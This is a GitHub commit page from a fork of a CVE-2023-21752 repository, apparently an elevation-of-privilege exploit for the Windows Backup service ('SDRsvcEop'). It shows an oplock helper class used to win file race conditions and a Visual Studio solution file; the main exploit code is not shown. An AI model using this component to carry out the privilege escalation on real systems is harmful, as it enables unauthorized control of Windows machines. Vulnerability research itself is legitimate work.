forked from Wh04m1001/CVE-2023-21752
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
8 changed files
with
859 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,201 @@ | ||
|
||
#include "FileOpLock.h" | ||
#include <threadpoolapiset.h> | ||
|
||
|
||
|
||
FileOpLock::FileOpLock(UserCallback cb) : | ||
g_inputBuffer({ 0 }), g_outputBuffer({ 0 }), g_o({ 0 }), g_hFile(INVALID_HANDLE_VALUE), g_hLockCompleted(nullptr), g_wait(nullptr), _cb(cb) | ||
{ | ||
g_inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION; | ||
g_inputBuffer.StructureLength = sizeof(g_inputBuffer); | ||
g_inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE; | ||
g_inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST; | ||
g_outputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION; | ||
g_outputBuffer.StructureLength = sizeof(g_outputBuffer); | ||
} | ||
|
||
|
||
FileOpLock::~FileOpLock() | ||
{ | ||
if (g_wait) | ||
{ | ||
SetThreadpoolWait(g_wait, nullptr, nullptr); | ||
CloseThreadpoolWait(g_wait); | ||
g_wait = nullptr; | ||
} | ||
|
||
if (g_o.hEvent) | ||
{ | ||
CloseHandle(g_o.hEvent); | ||
g_o.hEvent = nullptr; | ||
} | ||
|
||
if (g_hFile != INVALID_HANDLE_VALUE) | ||
{ | ||
CloseHandle(g_hFile); | ||
g_hFile = INVALID_HANDLE_VALUE; | ||
} | ||
} | ||
bool FileOpLock::BeginLock(const std::wstring& filename) | ||
{ | ||
g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr); | ||
g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr); | ||
|
||
|
||
|
||
g_hFile = CreateFileW(filename.c_str(), GENERIC_READ, FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE, | ||
0, OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_FLAG_BACKUP_SEMANTICS, 0); | ||
if (g_hFile == INVALID_HANDLE_VALUE) { | ||
|
||
return false; | ||
} | ||
|
||
g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr); | ||
if (g_wait == nullptr) | ||
{ | ||
|
||
return false; | ||
} | ||
|
||
SetThreadpoolWait(g_wait, g_o.hEvent, nullptr); | ||
|
||
DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK, | ||
&g_inputBuffer, sizeof(g_inputBuffer), | ||
&g_outputBuffer, sizeof(g_outputBuffer), | ||
nullptr, &g_o); | ||
if (GetLastError() != ERROR_IO_PENDING) { | ||
|
||
return false; | ||
} | ||
|
||
return true; | ||
} | ||
bool FileOpLock::BeginLock(HANDLE hfile) | ||
{ | ||
g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr); | ||
g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr); | ||
|
||
|
||
|
||
g_hFile = hfile; | ||
if (g_hFile == INVALID_HANDLE_VALUE) { | ||
|
||
return false; | ||
} | ||
|
||
g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr); | ||
if (g_wait == nullptr) | ||
{ | ||
|
||
return false; | ||
} | ||
|
||
SetThreadpoolWait(g_wait, g_o.hEvent, nullptr); | ||
DWORD bytesReturned; | ||
|
||
DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK, | ||
&g_inputBuffer, sizeof(g_inputBuffer), | ||
&g_outputBuffer, sizeof(g_outputBuffer), | ||
nullptr, &g_o); | ||
/*DeviceIoControl(g_hFile, | ||
FSCTL_REQUEST_OPLOCK_LEVEL_1, | ||
NULL, 0, | ||
NULL, 0, | ||
&bytesReturned, | ||
&g_o);*/ | ||
if (GetLastError() != ERROR_IO_PENDING) { | ||
|
||
return false; | ||
} | ||
|
||
return true; | ||
} | ||
FileOpLock* FileOpLock::CreateLock(const std::wstring& name, FileOpLock::UserCallback cb) | ||
{ | ||
FileOpLock* ret = new FileOpLock(cb); | ||
|
||
if (ret->BeginLock(name)) | ||
{ | ||
return ret; | ||
} | ||
else | ||
{ | ||
delete ret; | ||
return nullptr; | ||
} | ||
} | ||
FileOpLock* FileOpLock::CreateLock(HANDLE hfile, FileOpLock::UserCallback cb) | ||
{ | ||
FileOpLock* ret = new FileOpLock(cb); | ||
|
||
if (ret->BeginLock(hfile)) | ||
{ | ||
return ret; | ||
} | ||
else | ||
{ | ||
delete ret; | ||
return nullptr; | ||
} | ||
} | ||
void FileOpLock::WaitForLock(UINT Timeout) | ||
{ | ||
WaitForSingleObject(g_hLockCompleted, Timeout); | ||
} | ||
|
||
void FileOpLock::WaitCallback(PTP_CALLBACK_INSTANCE Instance, | ||
PVOID Parameter, PTP_WAIT Wait, | ||
TP_WAIT_RESULT WaitResult) | ||
{ | ||
UNREFERENCED_PARAMETER(Instance); | ||
UNREFERENCED_PARAMETER(Wait); | ||
UNREFERENCED_PARAMETER(WaitResult); | ||
|
||
FileOpLock* lock = reinterpret_cast<FileOpLock*>(Parameter); | ||
|
||
lock->DoWaitCallback(); | ||
} | ||
void FileOpLock::WaitCallback2(PTP_CALLBACK_INSTANCE Instance, | ||
PVOID Parameter, PTP_WAIT Wait, | ||
TP_WAIT_RESULT WaitResult) | ||
{ | ||
UNREFERENCED_PARAMETER(Instance); | ||
UNREFERENCED_PARAMETER(Wait); | ||
UNREFERENCED_PARAMETER(WaitResult); | ||
|
||
FileOpLock* lock = reinterpret_cast<FileOpLock*>(Parameter); | ||
|
||
lock->DoWaitCallbackt(); | ||
} | ||
void FileOpLock::DoWaitCallbackt() | ||
{ | ||
DWORD dwBytes; | ||
if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) { | ||
|
||
} | ||
|
||
if (_cb) | ||
{ | ||
_cb(); | ||
} | ||
g_hFile = INVALID_HANDLE_VALUE; | ||
SetEvent(g_hLockCompleted); | ||
} | ||
void FileOpLock::DoWaitCallback() | ||
{ | ||
DWORD dwBytes; | ||
if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) { | ||
|
||
} | ||
|
||
if (_cb) | ||
{ | ||
_cb(); | ||
} | ||
|
||
|
||
CloseHandle(g_hFile); | ||
g_hFile = INVALID_HANDLE_VALUE; | ||
SetEvent(g_hLockCompleted); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,40 @@ | ||
#pragma once | ||
|
||
#include <Windows.h> | ||
#include <string> | ||
|
||
class FileOpLock | ||
{ | ||
public: | ||
typedef void(*UserCallback)(); | ||
static FileOpLock* CreateLock(HANDLE hfile, FileOpLock::UserCallback cb); | ||
static FileOpLock* CreateLock(const std::wstring& name, FileOpLock::UserCallback cb); | ||
void WaitForLock(UINT Timeout); | ||
|
||
~FileOpLock(); | ||
private: | ||
|
||
HANDLE g_hFile; | ||
OVERLAPPED g_o; | ||
REQUEST_OPLOCK_INPUT_BUFFER g_inputBuffer; | ||
REQUEST_OPLOCK_OUTPUT_BUFFER g_outputBuffer; | ||
HANDLE g_hLockCompleted; | ||
PTP_WAIT g_wait; | ||
UserCallback _cb; | ||
|
||
FileOpLock(UserCallback cb); | ||
|
||
static void CALLBACK WaitCallback(PTP_CALLBACK_INSTANCE Instance, | ||
PVOID Parameter, PTP_WAIT Wait, | ||
TP_WAIT_RESULT WaitResult); | ||
static void CALLBACK WaitCallback2(PTP_CALLBACK_INSTANCE Instance, | ||
PVOID Parameter, PTP_WAIT Wait, | ||
TP_WAIT_RESULT WaitResult); | ||
void DoWaitCallback(); | ||
void DoWaitCallbackt(); | ||
bool BeginLock(HANDLE hfile); | ||
bool BeginLock(const std::wstring& name); | ||
|
||
}; | ||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,31 @@ | ||
|
||
Microsoft Visual Studio Solution File, Format Version 12.00 | ||
# Visual Studio Version 17 | ||
VisualStudioVersion = 17.0.31919.166 | ||
MinimumVisualStudioVersion = 10.0.40219.1 | ||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SDRsvcEop", "SDRsvcEop.vcxproj", "{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}" | ||
EndProject | ||
Global | ||
GlobalSection(SolutionConfigurationPlatforms) = preSolution | ||
Debug|x64 = Debug|x64 | ||
Debug|x86 = Debug|x86 | ||
Release|x64 = Release|x64 | ||
Release|x86 = Release|x86 | ||
EndGlobalSection | ||
GlobalSection(ProjectConfigurationPlatforms) = postSolution | ||
{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Debug|x64.ActiveCfg = Debug|x64 | ||
{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Debug|x64.Build.0 = Debug|x64 | ||
{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Debug|x86.ActiveCfg = Debug|Win32 | ||
{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Debug|x86.Build.0 = Debug|Win32 | ||
{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Release|x64.ActiveCfg = Release|x64 | ||
{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Release|x64.Build.0 = Release|x64 | ||
{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Release|x86.ActiveCfg = Release|Win32 | ||
{E87CBF4D-3552-4894-9ED2-B296D4DBF5BB}.Release|x86.Build.0 = Release|Win32 | ||
EndGlobalSection | ||
GlobalSection(SolutionProperties) = preSolution | ||
HideSolutionNode = FALSE | ||
EndGlobalSection | ||
GlobalSection(ExtensibilityGlobals) = postSolution | ||
SolutionGuid = {E7910A37-2126-493B-A1A7-2FD1F8FCFB30} | ||
EndGlobalSection | ||
EndGlobal |
Oops, something went wrong.